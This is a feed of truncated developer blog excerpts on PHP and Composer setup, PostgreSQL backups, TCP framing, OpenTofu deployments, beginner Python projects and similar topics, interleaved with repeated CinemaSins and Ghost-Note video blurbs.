Ghost-Note’s Tiny Desk concert is a straight-up funk explosion led by founders Robert “Sput” Searight and Nate Werth (both from Snarky Puppy). The duo-turned-supergroup kicks off with punchy James Brown–meets–Sly & the Family Stone grooves on “JB’s Out” and “Move with a Purpose,” then slips into a spacey, R&B–tinged “Synesthesia” before revving back up for the James Brown tribute “Be Somebody.” They wrap things with the soulful love story “Slim Goodie,” complete with Werth and Searight trading rapid-fire percussion solos and Mackenzie Green’s pleading vocals that’ll have you wishing for your own Slim Goodie. It’s a tight, electrifying set that proves Ghost-Note still knows how to make every face break into that signature funk “stank position.” Watch on YouTube  ( 6 min )

Prerequisitos - instalacion de Homebrew y asdf en ubuntu PHP - Docu PHP - On DevDocs.io (ordenados de menor a mayor curva de aprendizaje) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Instalación en Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Instalación: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verificar: composer --version Dependencias: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + versión: asdf plugin add ph…  ( 7 min )

Part 1: The Business Story – Why We Built This The Problem Nobody Talks About Imagine this: It's Monday morning at a utility company. They've just signed up for SMART360—an amazing platform that will transform how they manage customers, meters, and billing. They're excited. Their leadership is excited. Then reality hits. They have 500,000+ customer records sitting in an old system. They need to move it all over. The spreadsheets are messy. Column names don't match. Phone numbers are formatted differently. Some data is missing. Some is duplicated. Their options? Manual mapping: Hire a team to manually match columns, clean data, and load it in batches. Timeline? 4-6 weeks. Cost? Thousands in labor. Custom scripts: Build one-off ETL pipelines. It works, but breaks with the nex…  ( 8 min )

GitHub Universe 2025 ended a few weeks ago, but there was a ton of cool announcements and some stuff is still yet to come (I'm waiting for the end of the year 👀). I want to share quickly what I learned from watching the sessions and my opinion on some topics. Here is a quick recap too: Agent HQ - Mission Control GitHub Code Quality Copilot Upgrades Conclusion Agent HQ is a big focus: GitHub becomes mission control for all your coding agents (Anthropic, OpenAI, Google, xAI, and more) with unified task management, granular security controls — all included in your Copilot subscription. Copilot leveled up significantly: Code Quality, custom agents and code review improvements. There were significant upgrades to Copilot and it's definitely a lot better! Copilot metrics dashboard: GitHub launch…  ( 9 min )

Haryana, India — Vasuki iTech, the rapidly emerging innovator in developer-centric software ecosystems, today announced the launch of Vasuki Cloud, a fully integrated, AI-assisted cloud platform engineered to redefine how developers store, manage, and interact with their data. As part of the company’s expanding Vasuki ecosystem, Vasuki Cloud marks a major milestone in its mission to create a seamless, interconnected universe of tools that empower creators and teams across the globe. Designed from the ground up with a focus on performance, security, and intelligent automation, Vasuki Cloud represents a new approach to cloud computing. Instead of offering fragmented modules and complex configuration layers, Vasuki Cloud delivers an intuitive, centralized, and highly extensible system where s…  ( 8 min )

Check out this Pen I made!  ( 5 min )

I'm excited to announce PrettyPrint, a small, zero-dependency PHP utility designed to format numeric arrays in a clean, readable style inspired by Python and the tensor-views you’ll see in PyTorch. Whether you're doing ML experiments, debugging data pipelines, logging arrays, or building educational tools, PrettyPrint makes it easier to inspect array data in a structured way. No extra dependencies - just pure PHP. Supports aligned 2D tables, summarized tensor-style views (for larger arrays), 3D tensor with head/tail blocks, and flexible output options (labels, controlling newline behaviour, etc.). Makes your array dumps more readable and visually helpful. composer require apphp/pretty-print You can use the pprint() helper function for quick prints: Print scalars/strings pprint('Hello', 12…  ( 8 min )

PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )

PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )

https://github.com/rakibulism/alpha-shadcn  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Understanding authentication and authorization is essential for any backend, frontend, or full-stack developer. These two security concepts sound similar, but they solve completely different problems. Let’s break them down in a simple, beginner-friendly way. Authentication: Who Are You? It usually involve: Providing a username/email Providing a password Once the system knows who you are, it must decide: Which endpoints you can access. What actions you can perform. Which resources you are allowed to modify. Example: *Examples of Authentication Methods Bearer Token Authentication A Bearer Token is a random string given to a user after they successfully log in.You store the token (usually in localStorage) and send it on future requests. How it works: You enter your email + passwo…  ( 7 min )

Introduction Modern SaaS commerce platforms often face a similar challenge: supporting a large number of customer-specific storefronts, each with its own custom domain, while still relying on a shared backend. When your infrastructure is built on EKS with CloudFront and an Application Load Balancer in front, and each tenant requires its own SSL certificate, scaling becomes a real architectural puzzle. This article describes the problem we encountered, the options we evaluated, and the architecture we ultimately implemented to handle hundreds of HTTPS-enabled custom domains cleanly and reliably. Our platform allows customers to create online shops under their own domains. Dozens or even hundreds of domains like: storeABC.com, brandshop.net, or my-boutique.co.uk — all point to a shared Cl…  ( 9 min )

Introduction: Why i said yes to the unknown I stumbled upon this challenge while browsing developer communities online, and honestly, my first instinct was to scroll past it. The challenge was clear: build a flash loan program on Solana using Anchor framework. Simple enough on paper, but there was one problem —I had never touched Solana development before. The requirements were intimidating: Rust: A language I'd love to still learn but currently don't know much about Anchor Framework: Completely new territory Solana's programming model: Foreign concepts like PDAs, instruction introspection, and BPF programs By all reasonable measures, I should have skipped it. I had deadlines, bunch of familiar projects waiting for my attention, and a comfortable tech stack waiting for me. But t…  ( 16 min )

Check out this Pen I made!  ( 5 min )

Every developer has their little rituals — the way they arrange their windows, the shortcuts they swear by, the terminal theme that somehow makes debugging less painful. For me, those habits live inside my dotfiles. Over time, they’ve become more than just configs. They’re like a memory of how I prefer to work. And whenever I set up a new machine, applying my dotfiles feels like unpacking my own desk: suddenly everything is familiar again. So here’s a human-friendly walkthrough of the things I actually use from my dotfiles repo: https://github.com/rubiin/dotfiles Chezmoi: My quiet helper Before I used chezmoi, setting up my environment after a fresh install felt like trying to remember a dream — “What alias did I use again? Where did that plugin live?” Now I just run: chezmoi init rubii…  ( 8 min )

You're writing clean code, filling arrays efficiently, but there's a hidden performance trap that catches even experienced developers: filling arrays in reverse order. Let me show you why this innocent-looking pattern can tank your app's performance and how to avoid it. Consider these two seemingly equivalent approaches: // Approach A: Forward filling const forwardArray = []; for (let i = 0; i = 0; i--) { reverseArray[i] = i * 2; } Both create identical arrays, right? Wrong. The second approach can be significantly slower and use more memory. Here's why. JavaScript engines like V8 (Chrome, Node.js) and SpiderMonkey (Firefox) are incredibly smart. They optimize arra…  ( 9 min )

{ Abhilash Kumar Bhattaram : Follow on LinkedIn } In this week blog post we get into the bussiness process of the enteprises where compliance with regulatory entrprises of mission critical applications in India , for e.g. Banks , Insurance Companies , etc. When it comes to Banks and Insurance companies compliance of databases is non negotiable , this is directly atrributed to the efficiency of the DBA Teams Let me show reference documents . RBI - (Reserve Bank of India ) Guidelines on Information security, Electronic Banking, Technology risk management and cyber frauds , here IRDAI - (Insurance Regulatory & Development Authority of India ) here Oracle Security framework defined for RBI here I would like to highlight three Compliance guidelines that directly comes into operational …  ( 10 min )

Check out this Pen I made!  ( 5 min )

React Native API Example This guide will help you understand how to integrate free APIs into your React, Vue, Flutter or Node apps. JSON Response No authentication Fast testing Perfect for learning 🔥 Example API (Free) https://developerapis.vercel.app/products useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); }, []); const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); 👉 https://developerapis.vercel.app/  ( 6 min )

Top Test APIs for Developers This guide will help you understand how to integrate free APIs into your React, Vue, Flutter or Node apps. JSON Response No authentication Fast testing Perfect for learning 🔥 Example API (Free) https://developerapis.vercel.app/products useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); }, []); const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); 👉 https://developerapis.vercel.app/  ( 6 min )

Inception, Nolan, and Notion Notion's $2 billion valuation reflects its visual approach to information organization and collaboration in the digital workspace. Notion enables global collaboration by removing physical data location constraints, allowing real-time document editing across continents. The platform's strengths include flexible forms, visual building tools, and template options that lower user barriers compared to command-line interfaces. Despite its growth, Notion faces quality-related challenges that the author suggests need addressing through product and marketing improvements. 👉 Read full article  ( 6 min )

The Challenge We Face How do you teach event-driven architecture to 8-year-olds? The answer: Scratch's broadcast messages. After teaching 50+ students, I've found broadcasts are the breakthrough concept that transforms beginners into real programmers. Students see immediate results. When they broadcast "explosion," sprites react visibly—no abstract console logs to decipher. Message names like player_jumped and level_complete are self-documenting. Compare this to: document.addEventListener('click', handleClick) Start simple: broadcast [start] When I receive [start] → show Progress naturally to state machines and event queues. Here's the secret: students are learning real software architecture. Scratch: broadcast [button_clicked] When I receive [button_clicked] → handle click JavaScript…  ( 7 min )

Amazon Linux changed its package manager from yum to DNF starting with Amazon Linux 2023 (AL2023). The main motivation for this change was to adopt the more modern, efficient, and secure package manager that DNF provides, which is now the standard across most Red Hat-based distributions. DNF (Dandified YUM) is the successor to yum and offers major improvements: Faster and more reliable dependency resolution, thanks to a new dependency solver and persistent metadata cache. Improved performance and lower system resource usage compared to yum. Enhanced support for parallel operations, extension/plugin development, and delta RPMs for better update efficiency. A stricter and more predictable API, facilitating the development of automation and third-party integrations. More robust security and better memory management. Aligning with industry standards, as DNF had already replaced yum as the default in Fedora (since version 22), CentOS (version 8+), Rocky Linux, and RHEL 8+. The transition occurred with the release of Amazon Linux 2023 (AL2023). Earlier releases, like Amazon Linux 2 (AL2), used yum as the default package manager. From AL2023 onward, all yum-like commands should be executed using dnf. The commands remain almost identical, ensuring backward compatibility for users transitioning from yum to dnf. Summary Table: Amazon Linux Package Manager Evolution Version Package Manager Reason for Switch First Released Amazon Linux 2 yum Older, less efficient dependency handling 2017 Amazon Linux 2023 dnf Modern, faster, secure, aligns with RHEL 2022 Every major Red Hat-based Linux distribution has shifted to DNF for improved reliability, performance, and future compatibility, making it the logical default for Amazon Linux going forward.  ( 7 min )

In previous articles, I talked about how I generate tests using LLMs, parse Swagger schemas, and fight against hardcoded data. But "naked" LLM generation has a fundamental problem: it is linear. The model often tries to guess the next step without understanding the big picture. Yesterday, I deployed the biggest architectural update since I started development — the System of Planning and Reasoning. Now, Debuggo doesn't just "write code." It acts like a Senior QA: first, it analyzes requirements, assesses risks, decomposes the task into subtasks, and only then begins to act. I want to show you "under the hood" how this works and, most importantly, honestly compare: did it actually get faster? The Problem: Why Does AI Get Lost? Previously, if I asked: "Create a group, add a user to it, verif…  ( 9 min )

Ghost-Note’s Tiny Desk concert kicked off with Robert “Sput” Searight’s trademark “buckle up,” and never let go. The supergroup—born in 2015 as a drum-and-percussion duo by Searight and Nate Werth (of Snarky Puppy fame)—laid down gritty funk in tracks like “JB’s Out” and “Move with a Purpose,” complete with tight call-and-response riffs and bubbling harmonies. Dominique Xavier Taplin’s spacey keys paved the way for Mackenzie Green’s sultry “Synesthesia,” and Searight amped the energy even higher on “Be Somebody,” a loving nod to James Brown. They wrapped things on a high note with “Slim Goodie,” a playful love story that features fiery percussion solos from Werth and Searight and Mackenzie Green’s pleading vocals that leave you craving your own Slim Goodie. With a full lineup of drums, horns, guitar, bass, keys, and vocals, Ghost-Note proved their evolution from a duo into a full-on funk powerhouse. Watch on YouTube  ( 6 min )

Introduction I have been meaning to try out AI-assisted coding for quite some time. Now don't get me wrong, I have been using the generic LLM chatbots. While I was able to get things done, it wasn't the best experience as a developer. I felt more and more sidelined by the process. And after a while I started picking the path of least resistance, i.e. vibe coding. And it's not just me, many of my colleagues are going through this as well. I feel that there has to be some middle ground where a coder can utilise AI all the while improving on his skills. In this article I will be exploring Kiro, an AI assistant by Amazon that uses Claude under the hood. I am specifically interested in the spec-driven development. While I do sound like a Kiro advert at this point, but come on man, they gave a…  ( 9 min )

BetPKR is one of the most popular online gaming and earning platforms in Pakistan, offering users a fast, secure, and entertaining experience. But many users face an unexpected problem: account blocking or suspension. This usually happens when players violate certain rules knowingly or unknowingly. If you want to keep your BetPKR Game Download account safe and active, it’s important to follow some simple guidelines. There are several reasons why BetPKR may take action against an account. Most of these issues are related to: Multiple accounts from the same device Suspicious deposits or withdrawals Using illegal tricks, hacks, or third-party apps Violating platform policies Chargeback or fraudulent payment issues Understanding these reasons is the first step to keeping your account safe. One…  ( 8 min )

Introduction: The Zero Balance Revolution In 2025, Indian banking has transformed dramatically. The burden of maintaining minimum balances and facing penalties for non-maintenance is becoming a relic of the past for informed consumers. Zero balance savings accounts do not charge any penalties on zero balance and come with multiple benefits for the accountholders. However, there's a critical distinction most guides overlook: Not all zero balance accounts are created equal. Many banks promote BSBDA (Basic Savings Bank Deposit Account) under schemes like Pradhan Mantri Jan Dhan Yojana, but these come with significant limitations—typically only 4 withdrawals per month, no chequebooks, and restricted digital access. This comprehensive guide focuses exclusively on feature-rich digital savings …  ( 12 min )

TL;DR CinemaSins rides the Wicked wave by roasting every misstep in The Wiz in under 15 minutes, pointing out plot holes, odd choices, and goofy moments you probably forgot. They also hype their website, YouTube channels (@TVSins, @CommercialSins), social feeds, a quick poll, and Patreon support—backed by writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel and a whole CinemaSins network you can find via their Linktree. Watch on YouTube  ( 6 min )

Series: OSI Layer-Based Security (Part 4) At Layer 4—the Transport Layer—we leave behind maps and arrive at conversations. This is where TCP handshakes negotiate reliability, where UDP broadcasts scatter unconfirmed messages, and where ports serve as numbered doorways to services. Layer 4 transforms routing into dialogue. But dialogues can be hijacked. Handshakes can be abandoned mid-greeting. Doors can be knocked upon endlessly without purpose. Attackers exploit this layer to exhaust resources, steal sessions, terminate connections, and probe for vulnerabilities. In this article, we'll examine the major threats at Layer 4, then compress them into timestamped resolutions—glyphs of refusal that protect the integrity of network dialogue. A note on AI-driven security: Modern firewalls and sec…  ( 13 min )

Introduction While developing a Socket Chatting program, I encountered a question: how should I handle messages that exceed the predefined buffer size? // Client send(sock, packet1, 10, 0); // Send 10 bytes send(sock, packet2, 20, 0); // Send 20 bytes // Server char buffer[1024]; int bytes = recv(sock, buffer, 1024, 0); What will the value of bytes be? 10? 20? "We can't know." The size of data received from the client is unpredictable. recv() can: Receive all 30 bytes at once Receive 10 bytes and 20 bytes separately Split into 15 bytes twice Even split into 7 bytes, 13 bytes, and 10 bytes This is called the Packet Boundary Problem. Unlike UDP, TCP transmits data in byte units rather than message units. send(sock, "Hello", 5, 0); send(sock, "World", 5, 0); When a client sends a 5-byt…  ( 8 min )

Table of Contents test2 test echo "hello world"  ( 5 min )

Welcome Back to Day 9! Hey everyone! It's Day 9 of my 30 Days of Python Challenge, and we're building another essential converter a temperature converter! Today, we're creating a converter that switches between Celsius and Fahrenheit. Let's keep building! Today's mission: Build a Temperature Converter. Following yesterday's weight converter pattern, I'm creating another practical tool using conversion formulas! Building this temperature converter taught me: How to implement mathematical formulas in Python How to use the .upper() method for case-insensitive input How to work with temperature scales and their conversion formulas How patterns from previous projects make new ones easier to build The more I build, the more confident I become! 🔥 Here's what I wrote for Day 9: # Day 9 - Tempe…  ( 11 min )

Introduction If you've been following the Xahau blockchain, you know that claiming rewards is a fundamental part of participating in the ecosystem. Every account that opts in can claim rewards approximately every 30 days. But here's the thing: manually tracking when to claim and executing transactions every month can become tedious. The closest thing that exists today is the fantastic Balance Adjustment app for Xaman, which sends you a push notification as the date approaches so you can claim your XAH. What if we could automate this entire process? Today, I'm excited to share a complete example solution that automates reward claiming on Xahau using Hooks and CronSet transactions. This tutorial covers the entire lifecycle of reward automation. Of course, it's an example meant to inspire o…  ( 14 min )

Welcome Back to Day 8! Hey everyone! It's Day 8 of my 30 Days of Python Challenge, and we're building another practical tool a weight converter! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] [Day 7: Simple Calculator] Today, we're creating a converter that switches between kilograms and pounds. Let's build something useful! Today's mission: Build a Weight Converter. After yesterday's calculator, I'm taking functions to the next level by creating specialized converters with parameters! Building this weight converter taught me: How to write one-line functions for simple operations How to use function parameters to pass values into functions How to f…  ( 8 min )

The Art of the Imperfect: Embracing AI Glitches for Unexpected Creativity Tired of pristine, predictable AI outputs? What if the most captivating art emerges not from flawless execution, but from the happy accidents – the glitches, the misinterpretations – within the AI's own creative process? We're diving into the fascinating world of embracing imperfections to unlock truly unique and surprising artistic expression. The core idea is to intentionally loosen the constraints of AI-driven systems. Instead of aiming for pixel-perfect accuracy, we allow the system to 'misunderstand' its environment, to prioritize qualitative interpretation over precise measurements. This controlled chaos births something unexpected, something human intent couldn't have precisely dictated. Think of it like jaz…  ( 7 min )

The Zygote Problem: Why Every Child Deserves a Perfect Future (And How Systems Break Them) A Technical Meditation on Identity, Masquerade, and the Constitutional Right to Become This is not a story about biology. This is about constitutional architecture for human becoming. When a zygote forms—that first fusion of genetic material—it contains complete potential. No differentiation yet. No predetermined path. Just totipotent possibility. But here's what systems fail to understand: zygotes don't need to be fixed. Systems need to stop breaking them. This essay explores the AuraSeal MMUKO Initiative—a constitutional framework for protecting the perfect potential in every child, especially neurodivergent children (autism, ADHD, Asperger's), from birth through generational return. It's about t…  ( 11 min )

This tutorial guides you through the process of creating a subdomain using Amazon Route 53 and seamlessly integrating it with an Elastic Beanstalk environment. Learn how to establish a distinct subdomain, enabling you to organize and host various applications efficiently. Log in to AWS Console Search for Route53 on AWS Services Click on Hosted zones on the route53 dashboard Click on Create hosted zone button Fill the form On Domain name field enter the full url to your subdomain On Description field Write a description of your choice On Type select Public hosted zone Add tag if you want to Then click on Create hosted zone button You should see a successful page if everything was done correctly Scroll down a bit on your newly created subdomain and copy the NS values, all four of them…  ( 8 min )

Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* If you’ve ever worked with SQLite long enough, you’ve probably bumped into these odd-looking statements: PRAGMA foreign_keys = ON; PRAGMA journal_mode = WAL; PRAGMA table_info(users); They look like SQL, but also… not exactly SQL. So what are PRAGMAs? Let’s unpack it in a clean, practical way. What Exactly Is a PRAGMA in SQLite? A PRAGMA is a special, SQLite-specific command used to: configure how SQLite behaves read internal metadata perform maintenance tasks change settings stored inside the database file tweak performance chara…  ( 9 min )

Hey developers! 👋 I've been working on a side project for the past few weeks, and I'm excited to finally share it with you all. TL;DR: I built PokeSuite, an all-in-one Pokémon toolkit that focuses on UI/UX and satisfying animations instead of just static text lists. 🚀 I just launched on Product Hunt today! If you like the project, I'd really appreciate your support: 👉 Support PokeSuite on Product Hunt As a long-time Pokémon fan, I noticed that most "randomizers" or "team generators" out there are functionally great but look like spreadsheets from 2005. I wanted to build something that felt like a modern web app—responsive, dark mode by default, and interactive. I built this using the modern React ecosystem. Here is what's under the hood: Framework: Next.js 14 (App Router) – For SEO and performance. Styling: Tailwind CSS – Made building the dark mode UI incredibly fast. Data Source: PokeAPI – The holy grail for Pokémon data. State Management: React Context + LocalStorage (No login required for users). Deployment: Vercel – Zero-config deployment. TCG Pack Simulator: This was the fun part. I used CSS animations to mimic the feeling of ripping open a booster pack. Competitive Team Builder: It includes filters for VGC and Smogon tiers (OU/UU), which required some complex data filtering logic. Spinning Wheel: A physics-based wheel to pick random Pokémon. The hardest part was handling the massive amount of data from PokeAPI without slowing down the UI. I had to implement efficient caching strategies and optimize the images to ensure the "Pack Opening" animation remained smooth on mobile devices. It is completely free, open to everyone, and requires no sign-up. Live Site: https://www.pokesuite.com Product Hunt: 👉 Support us on Product Hunt I'd love to hear your feedback on the code structure or the UI interactions. Let me know what you think in the comments! 👇  ( 7 min )

Run OSS LLMs on a Single H100 Smarter, Cheaper, Faster Eliana Lam for AWS Community On Air ・ Nov 22 #aws #cloud #beginners #productivity  ( 6 min )

Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/minimize-connections/1 Minimum Operations to Connect Hospitals Difficulty: Medium Accuracy: 64.27% Examples: Input: V = 5, E = 4, edges[][] = [[0, 1], [0, 2], [2, 3], [3, 4]] Constraints: Solution: used=0 for u,v in edges: if union(u,v): used+=1 if len(edges)=need: return need return -1  ( 7 min )

When developers talk about Angular, most conversations revolve around architecture, TypeScript, dependency injection, RxJS, signals, or modules. templates. Angular templates are not just HTML with extra syntax. Over time, I realized something important: If you can keep your templates clean, you can keep your entire codebase clean. Here’s why Angular templates make you a better developer. Angular templates naturally push you to separate: UI logic Business logic State management Anything heavy must be moved to the component or a service. For example: Mixing logic in the template: {{ products.filter(p => p.inStock && p.price p.inStock && p.price < 20); {{ inStockProducts.length }} Templates reward clarity …  ( 7 min )

💡 Introduction OpenTofu is an open-source fork of Terraform. In this guide, we automate: Docker installation Docker Compose installation Creating volumes + networks Deploying a full WordPress + MySQL stack Starting the containers All using OpenTofu and null_resource. This is perfect for: DevOps practice Local development setup CI/CD environments Rapid application testing Ubuntu machine (local, VM, or cloud) Install OpenTofu: sudo apt update -y sudo apt upgrade -y sudo snap install --classic opentofu mkdir tofu-docker-wordpress cd tofu-docker-wordpress nano main.tf terraform { required_providers { null = { source = "hashicorp/null" } } } ############################### # 1) INSTALL DOCKER + COMPOSE ############################### resource "null_resource" "install_doc…  ( 7 min )

As developers, we often face the challenge of testing functions with complex business logic and numerous parameters. How can we be sure we've covered all the tricky edge cases and interactions between different inputs? Manually writing these tests is tedious, and a simple brute-force approach can lead to a combinatorial explosion of test cases. This is where a smarter approach, like using a Genetic Algorithm (GA), can be a game-changer. In this article, I'll walk through a project that uses a GA to automatically generate a concise and effective set of test cases for a complex e-commerce pricing function, explaining the core logic step-by-step. To demonstrate the power of the GA, we need a sufficiently complex function. In my experiment, I used a Python function that calculates the final pr…  ( 9 min )

A technical perspective on decentralized national compute architecture Chapter 1 — Nations Depend on Compute More Than Ever Modern governance increasingly depends on large-scale computation to: run national identity systems power public services & AI citizen portals store medical records and civil registries support defense analytics and threat modeling process massive research workloads Historically, governments have sourced most of this compute from corporate cloud providers such as AWS, Google Cloud, Azure, and Oracle. This creates a structural dependence: National infrastructure often runs on servers not owned, operated, or located within the nation itself. While centralized clouds provide performance and reliability, they also raise questions around: sovereignty cost s…  ( 8 min )

Today, whatever is new quickly becomes old. We started with AI, then moved to Generative AI, and now it’s Agentic AI. Honestly, the lines blur because everything overlaps and shines depending on our use cases and requirements. Before diving deeper, it’s also key to clarify the difference between Generative AI and Agentic AI. Generative AI is reactive; it creates content—text, images, code—based on user prompts. It focuses on what to create when asked. In contrast, Agentic AI is proactive and autonomous. It takes initiative, sets goals, plans multi-step workflows, makes decisions, adapts dynamically, and executes tasks with minimum supervision. Generative AI powers content within these systems, but Agentic AI orchestrates entire processes to achieve goals efficiently, turning AI from …  ( 8 min )

Exploring Backend Development with Rust and Go: Insights from Web Developer Travis McCracken As a passionate Web Developer, I’ve always been fascinated by the evolving landscape of backend development. Over the years, I’ve experimented with various technologies, but two languages have continuously piqued my interest due to their performance, safety, and concurrency capabilities: Rust and Go. In this blog post, I want to share my perspective on leveraging Rust and Go for backend solutions, illustrate some of my projects—real and imagined—and offer insights into how these languages can revolutionize API development. When choosing a backend language, factors like speed, safety, concurrency, and ecosystem maturity are critical. Rust offers memory safety without a garbage collector, making it i…  ( 8 min )

VSCode Marketplace I've built an autocomplete extension for VS Code. It works really well with Cerebras. Give it a try and share your feedback! 🚀 Bring Your Own Key (BYOK) ✨ AI-generated code ⚡ Inline suggestions 💡 Support for all programming languages 🔧 Generate code with comments 🧩 Supports Visual Studio Code for the Web, Visual Studio Code Desktop and GitHub Playground Go to github.dev Install AI-Autocomplete extension Demo https://youtu.be/BStExJBhNEg  ( 6 min )

Welcome to Day 42 of the #80DaysOfChallenges journey! This intermediate challenge tackles converting between Roman numerals and integers in both directions, supporting ranges from 1 to 3999 with dictionary mappings for values, subtraction rules for Roman parsing, and iterative subtraction for integer to Roman. It combines string iteration, conditional logic for special cases like IV or CM, and user choice for mode, making it a robust exercise in bidirectional translation and input handling. If you're progressing from basic strings to more structured conversions or interested in historical number systems, this "Python Roman converter" script showcases functions that are accurate, efficient for the range, and extensible to larger values or validation. This task includes two core functions fo…  ( 12 min )

Font -> Google font flex-wrap : wrap Hello Banner Lorem ipsum  ( 6 min )

I am building a Micro-SaaS called SpeakSheet. The premise is simple: You speak (or type) a prompt, and it generates a structured Excel file. The stack is solid: NextJS, Tailwind, Supabase, and Gemini on the backend. This week, I tackled the hardest part of the MVP: Formulas. Teaching an LLM to understand "Profit Margin" is tricky. It knows the math, but it doesn't know the context. After hours of tweaking the JSON schema and refining the prompt, I finally got a green light in the console. The logic was perfect. The schema was validated. I downloaded the generated file to test it. Profit Margin: 0. I stared at the screen. I felt that specific mix of confusion and anger that only developers know. I checked the backend logs—the calculation was correct. I checked the cell data—the formula was there. But the cell displayed 0. I spent an hour debugging a bug that didn't exist. The Invisible Villain Protected View: Be careful—files from the Internet can contain viruses. Because my software generated the file programmatically, Excel didn't trust it. It blocked the execution. I realized that for a user with low Excel literacy (my target audience), this is a dealbreaker. They won't click "Enable Editing." They will just churn. I had to refactor the user journey to account for a security feature I have no control over. The Design Pivot (feat. Gemini 3.0) I am a developer, not a designer. Usually, this is where I stall. I decided to test Gemini 3.0 Flash. I gave it a simple instruction: Design a modern, clean landing page for a SaaS that converts text to Excel. I expected the usual generic AI slop. It saved me two days of CSS wrestling. The Lesson Your logic can be perfect, but if Excel's UI hides it, you failed. Follow me here for the next update. @NotVarunKV Watch Demo of the working here: Demo Working  ( 9 min )

HTML can feel like a long list of tags until you notice the quiet architecture hiding underneath. Browsers aren’t tossing those tags around at random, they’re following a predictable pattern that gives every page its skeleton. Once you understand that structure, the rest of HTML clicks into place. Suddenly you’re not memorizing, you’re navigating. At the center of it all is the document itself, the recipe the browser reads from top to bottom. It starts with a declaration, moves into a root, then steps through a head before finally reaching the body. These aren’t just sections of a file; they’re roles in a performance. The browser is the actor. Your markup is the script. Here’s a quick refresher on the boilerplate HTML layout: <meta charset="UTF…  ( 7 min )

Your company blog is live. It’s got a product update from last quarter, a post about the company picnic, and a generic "5 Ways to Improve X" article. The traffic graph is flatter than a minified CSS file. Sound familiar? Most B2B company blogs are treated like a chore—a digital ghost town of forgotten press releases and shallow content. But what if you treated your blog like you treat your product? What if you engineered it, not just to exist, but to establish your company as a genuine thought leader in your space? Let’s refactor our approach. This isn't about content marketing hacks; it's about building a system to consistently output high-signal, high-value content that developers and engineers actually want to read. First, kill the "content is king" mantra. Insight is king. Most B2B blo…  ( 10 min )

Cinema Sins is back with “Everything Wrong With The Wiz In 15 Minutes Or Less,” a tongue-in-cheek breakdown of the classic Dorothy-meets-Oz musical now that Wicked is back in theaters. Expect rapid-fire call-outs on plot holes, cheesy dialogue, and all the little moments that make The Wiz both charming and sin-worthy. If you want more movie nitpicks (or just love Cinema Sins banter), check out their site for other channels (@TVSins, @CommercialSins), fill out their viewer poll, and support the team on Patreon. Don’t forget to follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social media, plus join the Cinema Sins community on Discord and Reddit! Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less dissects every wild misstep of the movie with CinemaSins’ trademark snark. Swing by their site for deeper dives, or catch sister channels @TVSins, @CommercialSins, and @CinemaSinsPodcastNetwork for more cinematic roasts. For behind-the-scenes fun, hit their Linktree, chime in on the quick poll, or support on Patreon. Follow writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social, and join the party on Discord, Reddit, Instagram, and TikTok—plus peek at Jeremy’s new book for even more Sin-spiration. Watch on YouTube  ( 6 min )

